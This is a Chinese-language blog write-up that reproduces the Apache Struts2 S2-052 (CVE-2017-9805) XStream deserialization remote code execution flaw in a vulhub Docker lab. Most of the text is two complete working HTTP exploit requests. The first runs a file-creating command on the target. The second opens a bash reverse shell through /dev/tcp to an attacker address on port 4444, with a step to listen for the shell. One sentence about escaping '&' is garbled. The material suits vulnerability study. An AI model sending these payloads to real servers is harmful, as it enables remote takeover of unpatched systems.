Struts2-052（CVE-2017-9805）远程代码执行漏洞复现

漏洞简介：2017年9月5日，Apache Struts官方发布最新的安全公告称，Apache Struts 2.5.x的REST插件存在远程代码执行高危漏洞，漏洞编号为CVE-2017-9805（S2-052），受影响的版本为Struts 2.5 - Struts 2.5.12。攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。

复现过程

使用docker搭建漏洞环境。

#启动docker
service docker start
#进入漏洞环境目录
cd vulhub/struts2/s2-052
#加载漏洞环境
docker-compose up -d

搭建完成后在浏览器端进行访问

在burpsuite中抓包改包进行重放，payload如下。

POST /orders HTTP/1.1
Host: 192.168.0.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1673

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>/usr/bin/touch</string>  
<string>/tmp/shell.txt</string> 
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

其中<command></command>字段为执行的命令，如图命令表示在/tmp下创建一个shell.txt文件。重放报错，但可以在容器/tmp文件下发现shell.txt文件。

利用该漏洞反弹shell，payload如下。

POST /orders HTTP/1.1
Host: 192.168.0.23:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://192.168.0.23:8080/orders/3/edit
Cookie: JSESSIONID=038C79EF8BD97CF8A5F02024C3EC34ED
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1717

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.0.162/4444 0>&amp;1</string>
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

在远程命令执行过程中，由于务器不识别&这个符号，需要编码，将&换成 &，如图。

在攻击机里面监听4444端口，重放，拿到shell。

参考链接：https://www.cnblogs.com/zhaijiahui/p/8124317.html
https://www.freebuf.com/vuls/147017.html

芷若。

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Struts2-052（CVE-2017-9805）远程代码执行漏洞复现

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